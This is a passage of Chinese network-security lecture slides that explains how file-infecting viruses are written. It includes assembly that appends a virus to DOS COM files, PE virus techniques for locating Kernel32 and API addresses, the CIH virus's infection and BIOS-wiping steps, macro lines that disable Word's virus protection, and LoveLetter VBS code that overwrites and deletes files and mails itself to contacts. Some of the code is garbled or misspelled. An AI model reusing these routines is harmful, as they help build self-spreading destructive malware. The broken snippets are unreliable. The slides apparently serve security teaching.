• 1. COM 文件的特点这种文件型病毒主要指 DOS 操作系统下的 COM 和 EXE 文件。 COM 文件具有如下特点: 1 ) COM 文件的存储代码与内存映像完全相同

COM 文件是在 DOS 外壳上直接运行处理器指令和内存数据。为此,在 COM 文件中要包含 COM 程序的一个绝对映像,并且 MS-DOS 要把该映像直接拷贝到内存加载 COM 程序,而不做任何改变。

2 ) COM 文件的长度不能超过 65 024 字节。 COM 文件是一种单段执行结构。它被分配在一个 64k字节的空间中。这个

空间中除了要存放 COM 文件外,还要存放一个程序段前缀 PSP 和一个起始堆栈。而 PSP 的大小为 256 字节,起始堆栈的最小空间为 256 字节,所以COM 文件最大不能超过 65 024 字节。

3 ) COM 文件的第 1 条指令必须是程序的入口点。

Page 61: 《 网络信息安全 》

61

Page 62: 《 网络信息安全 》

62

COM 文件型病毒编制的关键技术

• 2. COM 文件的加载和启动 ( 1 )分配内存:尽可能多地分配内存空间。在 DOS 运行另一个程序

或分配另外的内存空间时, COM 将释放不需要的空间。 ( 2 )分配内存成功后, DOS建立一个 PSP 。如果 PSP 的第 1 个 FC

B ( File Control Block)含有一个有效驱动器标识符,即置 AL为 00H ;否则置 AL为 0FFH

( 3 )在 PSP 后面(偏移 100H )加载 COM 文件,同时置 SS 、 DS和 ES 为 PSP 的段地址。

( 4 )建立堆栈。 DOS 通过把控制权传递给偏移 100H处的指令启动程序。

Page 63: 《 网络信息安全 》

63

COM 文件型病毒编制的关键技术

• 3. 可执行文件病毒的传染过程 ( 1 )文件病毒在宿主文件( .com 或 .exe )被执行时,驻

留内存; ( 2 )病毒开始监视系统运行,等待被传染目标出现; ( 3 )病毒检测可执行文件的特定地址的标识位,判断该文件

是否感染了病毒; ( 4 )发现了被感染目标后,利用 INT 13H 将病毒链接到可执

行文件的首部、尾部或中间,并存入磁盘中; ( 5 )完成感染后,继续监视系统的运行,寻找新的目标。

Page 64: 《 网络信息安全 》

64

COM 文件型病毒编制的关键技术

• 4. 文件型病毒程序编制技术文件型病毒可以加在 COM 文件的前部,也可以加在 COM 文件的尾部。不管加在何处,都可以利用 COM 文件的第一条指令是程序的入口点,使启动 COM 程序前先执行病毒程序。方法就是对程序开始处的指令进行修改。例如,病毒程序加在最后,就应当把程序开始处的指令修改成一条跳转指令,跳转到病毒所在的位置。等病毒程序执行完,再把控制权交还给COM 程序。当然,实际做的工作并不这么简单。下面是感染 COM 文件的典型病代码。

( 1 )修改了的文件头部代码– cs:0100 jmp endOfFile ;db 0e9h,0100h处为 COM 文件原来入口– ; dw COM 文件实际大小– ; endOfFile 文件尾(加入病毒的位置)

Page 65: 《 网络信息安全 》

65

COM 文件型病毒编制的关键技术

( 2 )在 COM 文件的尾部的病毒代码部分– …– endOfFile:

– virusStart:

– 。。。 ; 病毒代码– mov ax,orgcode

– mov [100],ax

– mov al,[orgcode+2]

– mov [102],al

– virusSize = $-virusStart

– resume:

– jmp 100 ; db 0e9h

– ;dw –(COM 文件实际大小 + 病毒代码大小 )

– orgcode db 3 dup(?) ; 原文件由 0100 开始的 3 个字节

Page 66: 《 网络信息安全 》

66

COM 文件型病毒编制的关键技术

( 3 )代码的进一步完善病毒要感染 COM 文件,需要进行的工作有:· 首先要把开始的 3 字节保存到 orgcode 中,更改为 0e9h;

· 更改文件实际大小;· 将 resume 开始的 3 字节改为: 0e9h-( COM 文件实际大小 + 病毒代码

大小);· 将病毒代码写到 COM 文件尾部;· 进行感染的判断和文件大小的判断。 假设: DS:DX 指向 VirusSize; VirusStart 的定义如上。 ; 保存开始的 4 字节并改写 db 90h,0e9h ; 0e990h 为感染标志 dw sizeofcom

Page 67: 《 网络信息安全 》

67

COM 文件型病毒编制的关键技术 感染代码:

– …– mov ax,3d01h

– int 21h ; 为读写打开– jc OpenError

– push dx

– xchg ax,bx

– mov ax,4202h

– xor cx,cx

– int 21h ; 移到文件尾– or dx,dx– jnz complete ; 大于 4 字节的文件不感染– cmp ax, ofeeeh-ViusSIze-11– jnb complete– cmp ax,4– jb complete ; 小于 4 字节的文件也不感染– mov di,offset orgcode– mov [di+6],ax

Page 68: 《 网络信息安全 》

68

COM 文件型病毒编制的关键技术

– add [di+6],VirusSize ; 产生替换代码– mov ax,4200h– xor cx,cx– xor dx,dx– int 21h ; 移到文件头– mov cx,4– mov dx,di– mov ah,3fh– int 21h ; 读出 4 个字节– jc complete– cmp word ptr [di],0e990h ; 如果没有感染,则– ; nop– ; jmp XXXX– jz complete– mov cx,4– add ah,40h– int 21h ; 在文件头部写 4 个字节

Page 69: 《 网络信息安全 》

69

COM 文件型病毒编制的关键技术

– mov ax,4202h– xor cx,cx– xor dx,dx– int 21h ; 移到文件尾– – mov ah,40h– mov dx,VirusSize+11– int 21h ; 写入病毒代码到 COM 文

件中– complete:– mov ah,3fh – int 21h ; 关闭文件– ErrorOpen:– …

Page 70: 《 网络信息安全 》

70

Win 32 PE 病毒编制的关键技术

• 1. Win 32 PE 文件格式Win 32 PE 文件就是 Win 32 ( Windows 95/98/2000/XP )环境下的PE 格式( Portable Executable Format )的可执行文件。为了了解病毒对它的感染机理,首先介绍 PE文件的结构和运行机制。 PE 文件的格式如图所示。

Page 71: 《 网络信息安全 》

71

Win 32 PE 病毒编制的关键技术

( 1 )所有的 PE 文件必须以一个简单的 DOS MZ 头开始,它是一个 IMAGE_DOS_HEADER 结构。

( 2 )接着是一个极小(几百个字节)的 DOS 程序 DOS stub ,用于输出警告,如“该程序不能在 DOS 模式下运行”。当 Win32 把一个 PE 文件映像加载到内存时,内存映像文件的第一个字节对应到 DOS Stub 的第一个字节。

( 3 )再接着是作为 PE 文件标志的 1024 字节的 PE 头,它是一个 IMAGE_ NT_HEADERS 结构。其中包含了很多 PE 文件被载入内存时需要用到的重要域。执行体在支持 PE 文件的操作系统中执行时, PE装载器将从 DOS MZ 头中找到 PE 头的偏移量。

( 4 ) PE 文件的内容部分由一些称为段 / 节的块组成。每段是一块具有共同属性的数据。段数写在段表中。段的划分是基于各组数据的共同属性,而不是逻辑概念。每段是一块拥有共同属性的数据,比如代码 /数据、读 / 写等。

Page 72: 《 网络信息安全 》

72

Win 32 PE 病毒编制的关键技术

( 5 ) PE 文件的装载过程1 PE 文件被执行时, PE装载器检查 DOS MZ 头中的 PE

头偏移量。找到了,就跳转到 PE 头。2 PE检查器检查 PE 头的有效性。有效,就跳转到 PE 头

的尾部。3 读取段表中的信息,通过文件映射,将段映射到内存,同时附上段表中指定的段的属性。

4 PE 文件映射到内存后, PE装载器处理 PE 文件中的有关逻辑。

Page 73: 《 网络信息安全 》

73

Win 32 PE 病毒编制的关键技术

• 2. Win 32 PE 病毒原理一个 Win 32 PE 病毒需要具有如下一些功能。

( 1 )重定位定位主要指程序中数据的内存存储位置。对于正常的程序来说,数据

的内存存储位置在编译时就已经计算好了(在被加载到不同地址处时由加载器根据 PE 中一个被称为重定位表的特殊结构动态修正引用数据指令的地址,而重定位表是由编译器在编译阶段生成的),程序装入内存时不需要对它们重定位。

病毒可能依附在宿主程序的不同位置,当病毒随着宿主程序装载到内存后,病毒中数据的位置也会随之发生变化。由于指令是通过地址引用数据的,地址的不准确将导致病毒程序的不正确执行。为此,有必要对病毒代码中的数据进行重定位。

Page 74: 《 网络信息安全 》

74

Win 32 PE 病毒编制的关键技术

例如:一段病毒代码被加载在 0x400000处,地址 0x401000处的一条语句及其引用的数据定义如下所示,相关地址是编译器在编译时计算得到的,这里假设编译时预设的基地址也是 0x400000 :401000:mov eax,dword ptr [402035]......402035:db “hello world!”,0如果病毒代码在宿主中也加载到基地址 0x400000 ,显然是能够正常执行的,但大多数时候段代码被加载到了其它的基地址,如代码被加载在基地址 0x500000 ,此时运行时则出错。

Page 75: 《 网络信息安全 》

75

Win 32 PE 病毒编制的关键技术

假如指令块被操作系统映射在 0x500000处,那么代码及其在内存中的地址将变为:501000:mov eax,dword ptr [402035]......502035:db "hello world!",0

显然, mov 指令引用的操作数地址是不正确的,如果我们知道了 mov 指令运行时地址是 0x501000 ,指令引用的实际数据地址应该为0x402035+0x100000 = 0x502035 。只要能够在运行时确定某条指令动态运行时的地址,而其编译时地址已知,我们就能够正确重定位任何代码或数据的运行时地址。

Page 76: 《 网络信息安全 》

76

Win 32 PE 病毒编制的关键技术

第一种方法就是构造 PE 文件重定位表项。在感染目标 PE 文件时,将引用自身数据的需要被重定位的地址全部写入目标 PE 文件的重定位表中,重定位的工作就完全由系统加载器在加载 PE 文件的时候自动进行了。重定位表项由 PE 文件头的 DataDirectory 数据中的第 6 个成员 IMAGE_DIRECTORY_ ENTRY_BASERELOC 指向。该方法需要的代码稍多,实现起来也相对比较复杂,另外如果目标文件无重定位表项 (为了减小代码体积,这种情况也不少见),处理起来就比较麻烦,只有用高级语言编写病毒才常用该种方法,在一般的 PE 病毒中很少使用。

第二种方法利用 Intel X86体系结构的特殊指令, call 或 fnstenv 等指令动态获取当前指令的运行时地址,计算该地址与编译时预定义地址的差值(被称为 delta offset ),再将该差值加到原编译时预定的地址上,得到的就是运行时数据的正确地址。对于 intel x86 指令集而言,在书写代码时,通过将 delta offset 放在某个寄存器中,然后通过变址寻址引用数据就可以解决引用数据重定位的难题。

Page 77: 《 网络信息安全 》

77

Win 32 PE 病毒编制的关键技术

在病毒代码的开始处,计算获取偏移地址 delta offset 的值:call deltadelta:pop ebpsub ebp,offset delta在运行时就动态计算出了 delta offset值,因为 call 要将其后的第一条指令的地址压入堆栈,因此 pop ebp执行完毕后 ebp 中就是 delta 的运行时地址,减去 delta 的编译时地址“ offset delta” 就得到了 delta offset 的值。假设 ebp包含了 delta offset ,使用变址寻址指令则可保证在运行时引用的数据地址是正确的:;ebp包含了 delta offset值401000:mov eax,dword ptr [ebp+0x402035]......402035:db “hello world!”,0除了用明显的 call 指令外,还可以使用不那么明显的 fstenv 、 fsave 、 fxsave 、 fnstenv 等浮点环境保存指令进 行,这些指令也都可以获取某条指令的运行时地址。

Page 78: 《 网络信息安全 》

78

Win 32 PE 病毒编制的关键技术

( 2 )获取 API函数地址在 Win 32 环境中,系统功能调用不是通过中断实现,而是通过调用

API函数实现。因此,获取 API函数的入口地址非常重要。普通的 Win 32 PE 程序里有一个引入函数节,可以通过引入函数表找

到相应 API函数的真正执行地址。系统加载Win 32 PE 文件的时候,会解析引入 DLL的导出函数表,然后根据名字或序号搜索到相应引出函数的的 RVA (相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到 API函数的运行时真正地址,从而能够将引入的特定 DLL中函数的运行时地址填入 PE 的引入函数表中。

但是, Win 32 PE 病毒只有一个代码段,并不存在引入函数节,因此不能直接用真实地址调用 API函数。所以获取 API地址是病毒的一个重要技术。

Page 79: 《 网络信息安全 》

79

Win 32 PE 病毒编制的关键技术

A) 在感染 PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该 API 的调用指向该引入表函数地址,若未引 入,则修改引入表增加该函数的引入表项,并将对该 API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的 API函数地 址填好了,病毒代码即可正确地直接调用该函数。B)解析 DLL的导出表,从中获取所需要的 API地址。病毒首先获取 DLL在内存中的真实加载地址,在运行时解析搜索 DLL的导出表,即从 PE 的头部信息中找到导出表的位置。由于 Kernel32.DLL几乎在所有 的 Win32 进程中都要被加载,其中包含了大部分常用的 API ,特别是其中的 LoadLibrary和GetProcAddress两个 API 可以获取任意 DLL中导出的任意函数,在迄今为止的所有 Windows平台上都是如此。只要获取了 Kernel32.DLL在进程中加载的基址,然后解析 Kernel32.DLL的导出表获取常用的 API地址,如需要可进一步使用 Kernel32.DLL中的 LoadLibrary和 GetProcAddress两个 API 更简单地获取任意其他 DLL中导出函数的地址并进行调用。

Page 80: 《 网络信息安全 》

80

Win 32 PE 病毒编制的关键技术

获取Kernel32 的基地址

A )暴力搜索获取Kernel32.DLL的基址 – 最初的病毒是指定一个大致的加载地址,比如根据实验在 9X下其加载

地址是 0xBFF70000 ;在 Windows 2000 下加载基址是 0x77E80000 ;在 XP 和 2003 下其加载基址是 0x77E60000 ,因此在 NT 系统下就可以从 0x77e00000 开始向 高地址搜索,在 9X下可以从 0xBFF00000开始向高地址搜索,如果搜索到 Kernel32.DLL的加载地址,其头部一定是“ MZ”标志,由模块起 始偏移 0x3C 的双字确定的 PE头部标志必然是“ PE”标志,因此可根据这两个标志判断是否找到了模块加载地址。而且,在所有版本的 Windows 系统下 Kernel32.DLL的加载基址都是按照 0x10000 对齐的,根据这一特点可以不必逐字节搜索,按照 64K对齐的边界地址搜索即可。

Page 81: 《 网络信息安全 》

81

Win 32 PE 病毒编制的关键技术

– 当系统打开一个可执行文件时,会调用 Kernel32.dll 中的 CreateProcess函数。 CreateProcess函数在完成装载应用程序后,先要将一个返回地址压入堆栈顶,然后转向那个要装载的应用程序。这个应用程序结束后,就将这个地址数据弹出到 EIP 中,继续执行。因此,在系统加载 PE 文件跳转到 PE 入口点第一条指令的时候,堆栈顶保存的就是 Kernel32.DLL中的某个地址,只要明确知道程序入口的堆 栈指针值,或间接可计算出该值,就可以在其附近搜索Kernel32 模块的基地址。

Page 82: 《 网络信息安全 》

82

Win 32 PE 病毒编制的关键技术

– 在 Win32 程序执行过程中 fs段寄存器的基址总是指向进程的 TEB, TEB( 线程环境块 )的第一个成员指向 SHE(结构化异常处理 ) 链表,该链表每个节点 都是一个 EXCEPTION_REGISTRATION结构,该结构定义如下:struct EXCEPTION_REGISTRATION{struct EXCEPTION_REGISTRATION *prev;void* handler;};在 Windows 下 SEH链表最后一个成员的 handler 指向 Kernel32.DLL中函数UnhandledExceptionFilter 的起始地址。利用这一特性我们可以写出更通用的代码取得Kernel32.dll 中 UnhandledException Filter 的地址,再按照前面的方法向低地址搜索判断直到找到 Kernel32.dll 的基址。

Page 83: 《 网络信息安全 》

83

Win 32 PE 病毒编制的关键技术

– 取得 Kernel32.dll 中 UnhandledExceptionFilter 的地址 :xor esi,esilods dword [fs:esi];取得 SEH链表的头指针@@:inc eax ;是否是最后一个 SEH节点,检查 prev 是否为 0xFFFFFFFFje @Fdec eaxxchg esi,eaxLODSD ;下一个 SEH节点jmp near @B@@:LODSD ;

– 判断是否找到了 Kernel32.dll 基址的相关代码如下:search_api_addr_@1:add ebx,10000hjz short search_api_addr_seh_restorecmp word ptr [ebx],'ZM' ;是否是 MZ标志jnz short search_api_addr_@1mov eax,[ebx+3ch]add eax,ebxcmp word ptr [eax],'EP' ;是否具有 PE标志jnz short search_api_addr_@1; 找到了 kernel32.dll 的基址

Page 84: 《 网络信息安全 》

84

Win 32 PE 病毒编制的关键技术

获取Kernel32 的基地址B )搜索 PEB 的相关结构获取Kernel32.DLL的基址

– 前述 TEB偏移 0x30处,亦即FS:[0x30]地址处保存着一个重要的指针,该指针指向 PEB (进程环境块), PEB 成员很多,这里并不介绍 PEB 的 详细结构。我们只需要知道 PEB 结构的偏移 0xC处保存着另外一个重要指针 ldr ,该指针指向 PEB_LDR_DATA 结构:typedef struct _PEB_LDR_DATA{ULONG Length; // +0x00BOOLEAN Initialized; // +0x04PVOID SsHandle; // +0x08LIST_ENTRY InLoadOrderModuleList; // +0x0cLIST_ENTRY InMemoryOrderModuleList; // +0x14LIST_ENTRY InInitializationOrderModuleList;// +0x1c} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

Page 85: 《 网络信息安全 》

85

Win 32 PE 病毒编制的关键技术

该结构的后三个成员是指向 LDR_MODULE链表结构中相应三条双向链表头的指针,分别是按照加载顺序、在内存中的地址顺序和初始化顺序排列的模块 信息结构的指针。 LDR_MODULE 结构如下所示:typedef struct _LDR_MODULE{LIST_ENTRY InLoadOrderModuleList; // +0x00LIST_ENTRY InMemoryOrderModuleList; // +0x08LIST_ENTRY InInitializationOrderModuleList; // +0x10PVOID BaseAddress; // +0x18PVOID EntryPoint; // +0x1cULONG SizeOfImage; // +0x20UNICODE_STRING FullDllName; // +0x24UNICODE_STRING BaseDllName; // +0x2cULONG Flags; // +0x34SHORT LoadCount; // +0x38SHORT TlsIndex; // +0x3aLIST_ENTRY HashTableEntry; // +0x3cULONG TimeDateStamp; // +0x44// +0x48} LDR_MODULE, *PLDR_MODULE;

Page 86: 《 网络信息安全 》

86

Win 32 PE 病毒编制的关键技术

Peb->Ldr->InInitializationOrderModuleList 指向按照初始化顺序排序的第一个 LDR_MODULE节点的 InInitializationOrderModuleList 成员的指针,在 WinNT 平台(不包含 Win9X)下,该链表头节点的 LDR_MODULE 结构包含的是 NTDLL.DLL的相关信息,而链表的下一个节点所包含的就是 Kernel32.dll 相关的信息了,该节点 LDR_MODULE 结构中的 BaseAddress 正是我们所需的地址。注意 InInitializationOrderModuleList 是 LDR_MODULE 的第 3个成员,因此要获取 BaseAddress 的地址,只需将其指针加 8再 derefrence即可。因此下面的汇编代码即可获取Kernel32.DLL的基址:mov eax, dword ptr fs:[30h] ;获取 PEB 基址mov eax, dword ptr [eax+0ch] ;获取 PEB_LDR_DATA 结构指针mov esi, dword ptr [eax+1ch];获取 InInitializationOrderModuleList链表头第一个 LDR_MODULE节点InInitializationOrderModuleList 成员的指针lodsd ;获取双向链表当前节点后继的指针mov ebx, dword ptr [eax+08h] ;取其基地址,该结构当前包含的是                      ;kernel32.dll 相关的信息

Page 87: 《 网络信息安全 》

87

Win 32 PE 病毒编制的关键技术

( 3 )搜索目标文件 通常通过两个 API函数 FindFirstFile 和 FindNextFile 实现。

( 4 )内存文件映射 使用内存文件映射进行文件读写。

( 5 )感染其他文件 ( 6 )返回到宿主程序。

Page 88: 《 网络信息安全 》

88

Win 32 PE 病毒编制的关键技术

• 3. Win 32 PE 病毒实例—— CIH 病毒 CIH 病毒以 Win 32 PE 文件为攻击对象。它开创了直接攻击、破坏硬件的先例,发作时破坏 Flash BIOS芯片中的系统程序,导致主板损坏,造成部分厂家的主板开机后无反应;同时,使硬盘驱动器不停地转动,病毒以 2048 个扇区为单位,从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘中的全部数据被破坏。

Page 89: 《 网络信息安全 》

89

Win 32 PE 病毒编制的关键技术

( 1 ) CIH 病毒的基本特点· CIH 病毒很短, CIHv1.2只有 1003 个字节。· 可以绕过Windows 的应用程序界面,绕过 ActiveX、

C++ 和 C ,使用汇编,利用虚拟设备驱动程序 VxD ,直接进入 Windows 内核。

· 采用碎洞攻击技术,将病毒化整为零,插入到宿主文件中,因而不改变宿主文件大小。

· 利用多数BIOS芯片开放可重用性的特点,可以向计算机主板的 BIOS端口写如乱码。

Page 90: 《 网络信息安全 》

90

Win 32 PE 病毒编制的关键技术

( 2 ) CIH 病毒驻留程序的驻留过程一旦要执行带有 CIH 病毒的 EXE 文件,由于病毒修改了

该文件程序的入口地址,使调入内存执行的是病毒的驻留程序(长 184 字节)。驻留的主要过程如下:

1.取得 IDT(中断描述符)的基地址。2. 把 IDT的 INT 3 的入口地址改为指向 CIH自己的 INT 3

入口,以获得最高级别( Ring0级)的 Windows权限(可以在 Windows 内核执行各种操作,如终止系统运行、直接对内存读写、截获各种中断、控制 I/O端口等)。

Page 91: 《 网络信息安全 》

91

Win 32 PE 病毒编制的关键技术

3 执行 INT 3 指令,进入自身的 INT 3 入口程序。具体工作为:– a 检查调式寄存器 DR0 的值,判断 CIH 病毒是否已经驻留:

» · 不为 0 ,表示 CIH 病毒已经驻留,要恢复原先的 INT 3 入口,把控制权交给Windows ;

» · 为 0 ,表示尚未驻留, CIH 病毒将尝试驻留。– b 将当前 EBX寄存器的值赋给 DR0寄存器,生成驻留标志。– c 调用 INT 20 中断,请求系统分配两页Windows 内存,以便程序长期驻留内存。 – d 内存申请成功,将破碎的病毒程序收集起来,组合后放到申请到的内存空间中。– e 调用 INT 3 入口程序,调用 INT20 ,在 windows 内核的文件处理函数中挂接钩子,

以截取文件调用操作,以便病毒的传染部分能在第一时间截获要求开启的文件调用。– f 将同时截获的核心文件输入 / 输出服务程序的入口地址保存到 RD0寄存器中,以便

CIH 病毒调用。– g 驻留成功,恢复宿主文件正常入口,执行宿主程序:

» · 恢复原来的 IDT中断表中的 INT 3 入口,退出 INT 3;» · 根据病毒程序隐藏的原文件的正常入口地址,跳到原来文件的正常入口。

Page 92: 《 网络信息安全 》

92

Win 32 PE 病毒编制的关键技术

( 3 ) CIH 病毒的感染过程 CIH 病毒的传染是通过病毒驻留内存过程中,调用 Windows 内核底层的 IFSMgr_InstallFileSystemApiHook函数挂接钩子时,指针指示的程序段实现。这段程序长 586 字节。大致过程如下:

1 文件截获:调用 INT 20 的 VxDcallUniToBCSPath系统功能调用,取回系统要开启的文件的文件名和路径。

2 EXE 文件判断:非 EXE 文件,不感染,离开病毒程序,跳回Windows 内核的正常文件处理程序。

3 PE 格式判断:取出文件标识符进行分析,若 Signature=“00455000 ( OOPE00 )”且未感染,就对其感染;否则,只发作。

Page 93: 《 网络信息安全 》

93

Win 32 PE 病毒编制的关键技术

4 寄生计算: CIH 病毒利用 PE 格式文件的文件头和各个区都可能存在自由空间碎片,将病毒程序拆分成若干大小不等的块,见缝插针地插到宿主文件的不同区内。

– 首先要技术计算有无可以存放病毒首块的空间。没有这样的空间就不感染。病毒首块包括:

» · 病毒块链表指针区: 8×(区数 +1 )字节,存放每个病毒块的首地址(每块 4 字节)及其长度(每块 4 字节);

» · 184 字的病毒驻留程序。

– 接着将整个病毒读入内存,按 PE 文件的各区进行计算分配。

Page 94: 《 网络信息安全 》

94

Win 32 PE 病毒编制的关键技术

5 写入病毒:按照计算结果,将各块压栈,以逆序将各块写入到相应自由空间。

(4)CIH 病毒的发作CIH v1.4 在每年 4月 26日发作。病毒从 CMOS 的 70、 71端口取出系统当前日期进行判断:

– mov ax,0708– ut 70,al– in al,71 ; 取当前系统月份– xchg al,ah– out 70,al– in al,71 ; 取当前系统 r日– xor ax,0426 ; 判断– … ; jz 病毒发作程序

Page 95: 《 网络信息安全 》

95

宏病毒及其关键技术

• 1. 宏病毒及其发作 宏是嵌入在字处理文档或其他类型文件中的一段用宏语言编

写的可执行程序,用户使用宏可以完成一些重复性的工作。例如,用户可以通过宏定义一个击键序列,然后就可以通过敲击功能键或特定的组合键来启动该宏,以减少在键盘上的直接操作。

据美国国家计算机安全协会统计,宏病毒大约占整个病毒的三分之一。宏病毒所以如此猖獗,主要原因有下列一些:

Page 96: 《 网络信息安全 》

96

宏病毒及其关键技术

( 1 )宏病毒感染的是文档而不是代码的可执行部分– 宏病毒的存在和执行,依赖于系统是否具有强大的宏语言环境。

Word从 6.0 开始, Excel从 4.0 开始,数据文件中就包含了宏语言功能。而计算机中具有大量这样的文档文件,并且人们使用极为普遍的电子邮件往往是以文档的形式进行传输。这就为宏病毒的传播提高了方便途径。

( 2 )宏病毒与平台无关– 应用极为普遍的 Word 和 Excel 是宏病毒的主要载体,所有支持Word 和 Excel 的硬件平台和操作系统都会感染宏病毒。

Page 97: 《 网络信息安全 》

97

宏病毒及其关键技术

( 3 )宏病毒中有一种自动执行宏,它不需要用户启动,只要出现相应的执行事件,就可以自动运行。常见的自动执行宏如表所示的一些。

Word Excel Office 97/2000

AutoOpen Auto_Open Document_Open

AutoClose Auto_Close Document_Close

AutoExcec

AutoExit Document_New

AutoNew

Auto_Activate

Auto_Deactivate

Page 98: 《 网络信息安全 》

98

宏病毒及其关键技术

– 不仅Word 和 Excel , Access、 PowerPoint、 Visio、 CoreDraw、WordPro 也具有强大的宏语言。自Word97和 Excel97之后, Microsoft逐渐将宏语言统一到 VBA ( Visual BASIC for Application )上。

– 除了随文件操作自动执行的宏,还有一类宏会随着指定键或指定键序列的操作被自动触发,拿到系统控制权下面是一个在 Normal 模板中的 AutoNew宏。当用户新打开一个 Word时,就会弹出一个提示“新建文件自动执行宏示例”的窗口。

– Sub AutoNew()– MsgBox “新建文件自动执行宏示例” ,0,“宏病毒测试”– End Sub

Page 99: 《 网络信息安全 》

99

宏病毒及其关键技术

• 2. 宏病毒的隐藏措施 ( 1 )关闭有关提示和容易引起怀疑的操作,如

On Error Resume Next ‘出错时不提示,继续执行下面语句 Application . DisplayAlerts = wdAlertsNone ‘不弹出警告窗口 Application . DisplayStatusBar = False ‘不显示状态栏,以免显示宏的运

行状态 Application . EnableCancelKey = wdCancelDisabled ‘不可通过 ESC 结束

当前运行的宏 Application . ScreenUpdating = False ‘关闭屏幕刷新,以免看到病毒引起

的速度变慢 Options . SaveNormalPrompt = False ‘若公共模块被修改,不显示提示窗口直接保存

Options . VirusProtection = False ‘关闭病毒保护:若运行前包含宏,不提示

( 2 )屏蔽一些菜单功能(如“工具 | 宏”等),以免被用户手工发现。

Page 100: 《 网络信息安全 》

100

宏病毒及其关键技术

• 3. 宏病毒的基本传播过程 ( 1 )将宏病毒依附与一个 Word 文档; ( 2 )通过电子邮件或移动存储设备,把该文档输入到一个系统;

( 3 )一个被染毒的 .doc 文件被打开后,会通过 Auto类宏来激活病毒,接着感染诸如 normal.dot或 powerup.dot等全局模板文件,得到系统的“永久”控制权。

( 4 )宏把自身拷贝到全局宏文件中; ( 5 )下一次启动 Word时,将激活全局宏,并在该宏执行时会进行自我复制并破坏系统。

Page 101: 《 网络信息安全 》

101

脚本病毒及其关键技术

• 1. 脚本病毒的特点 脚本是嵌入到数据文档中执行一个任务的一组指令。最典型的脚本是嵌

入到网页中的脚本,它们可以实现网站的点击计数器、格式处理器、实时时钟、鼠标效果、搜索引擎等功能。

脚本由脚本语言描述。常用的脚本语言有: VBScript、 Jscript、 JavaScript、 PerScript等。并且,脚本不是由 CPU直接执行,而是由某个程序解释,如嵌入在 HTML文件(网页)中的脚本是由浏览器解释执行的。

脚本病毒是一些嵌入在应用程序、数据文档和操作系统中的恶意脚本。脚本病毒一般嵌入在 CSC ( CoreDraw )、Web ( HTML 、 HTM、HTH、 PHP )、 INF ( information )、 REG ( registry)等文件中,主要通过电子邮件和网页传播。

Page 102: 《 网络信息安全 》

102

脚本病毒及其关键技术

脚本病毒中最有代表性的是用 VBScript 编写的 VBS 病毒。 VBS 病毒具有如下一些特点:

编写简单、生产容易;传播范围广、感染力强、破坏力大;欺骗性强、变种多。

• 2. 脚本病毒的感染机制 脚本病毒直接通过自我复制感染文件,病毒中的绝大部分代码可以直接附加

在同类程序中间。例如,新欢乐时光病毒是将自己的代码附加在 .htm 的尾部,并在顶部加入一条调用病毒代码的语句;而爱虫病毒则直接生成一个文件的副本,将病毒代码嵌入其中,同时将原文件名作为病毒文件的文件名前缀,以 vbs 作为后缀。

Page 103: 《 网络信息安全 》

103

脚本病毒及其关键技术

• 下面是爱虫病毒的文件感染部分的关键代码:– set fso = createobject(“scripting.filesystemobject”) ‘ 创建一个文件对象– set self = fso.opentextfile(wscript.scriptfullname,1) ’ 读当前打开文件(病

毒文件)– vbscopy = self.readall ’ 读取全部病毒代码到字符串变量 vb

scopy– ┇– set ap = fso.opentextfile( 目标文件 .path, 2,true) ’ 写打开目标文件,为写病

毒代码做准备– ap.write vbscopy ‘ 用病毒代码覆盖目标文件中的代码– ap.close– set cop = fso.getfile( 目标文件 .path) ‘ 得到目标文件路径– cop.copy( 目标文件 .path & “. vbs) ‘ 创建以 .vbs 为后缀的病毒文件– 目标文件 .delete(true) ‘ 删除目标文件

Page 104: 《 网络信息安全 》

104

脚本病毒及其关键技术

• 3. 脚本病毒的文件搜索 寻找满足条件的感染对象,是病毒的一个重要机能。下面是一个 VBS 病毒的搜索函数。它采用递归算法遍历整个分区的目录和文件。

– sub scan(folder_) ‘ 搜索函数 scan 定义– on error resume next ‘ 跳过错误,防止弹出错误窗口– set folder_ = fso.getfoder(folder_)– set files = folder_.files ‘ 取当前目录的所有文件集合– for each file in files ‘ 对文件集合中的每个文件进行测试– ext = fso.GetExtensionName(file) ‘ 获取文件名后缀– ext = lcase(ext) ‘ 小写转换后缀名– if ext = “mp3” then ‘ 以“ mp3”后缀作为条件– Wscript.echo(file) ‘ 用来模拟病毒感染或破坏模块– end if– next– set subfolders = folder-.subfolders– for each subfolder in subfolders‘ 递归调用 scan(),搜索其他目录– scan(subfolder)– next– end sub

Page 105: 《 网络信息安全 》

105

脚本病毒及其关键技术

• 4. 脚本病毒的传播手段 ( 1 )通过电子邮件传播

通过电子邮件传播的关键是获得合法的电子邮件地址。下面是一个 VBS 病毒的传播算法,它是直接取 Outlook地址簿中的邮件地址。

Page 106: 《 网络信息安全 》

106

脚本病毒及其关键技术

– set MAPI 对象 = Outlook对象 . GetNameSpace(“MAPI”)// 获取 MAPI 的名字空间– set 地址对象 =MAPI 对象 . 地址表( i ) // 获取地址表的个数– for 地址对象表中的每一个地址表– 获取每个地址表的 E-Mail地址数– for 地址表中的每个 E-Mail地址– 获取一个邮件地址对象实例– 获取具体 E-Mail地址– 填入收信人地址– 写入邮件邮件标题– 写入邮件内容– 定义邮件附件– 发送邮件– 信件提交后删除– 写病毒标记,以免重复感染– next– next– 设置 MAPI 对象 = 空– 设置 Outlook = 空

Page 107: 《 网络信息安全 》

107

脚本病毒及其关键技术

( 2 )通过局域网共享传播在 VBS 中有一个对象可以实现局域网邻居共享文件夹的搜索与文件操作。利用该对象可以实现病毒的传播。简化的传播算法过程:

– 创建一个网络对象– 创建一个网络打印机连接列表– 显示每台网络打印机连接情况– 创建一个网络共享连接列表– 寻找目标驱动器– 感染

Page 108: 《 网络信息安全 》

108

脚本病毒及其关键技术

( 3 )通过网页文件传播脚本病毒通过 htm网页传播依赖于 FSO ( File System Object ,文件系统

对象)和 WSH ( Windows Script Host , Windows脚本宿主)对象。 WSH 可以理解为内嵌于 Windows 操作系统中的脚本语言工作环境。它较多地考虑了“非交互性脚本“的需要,使脚本功能非常强大,例如:

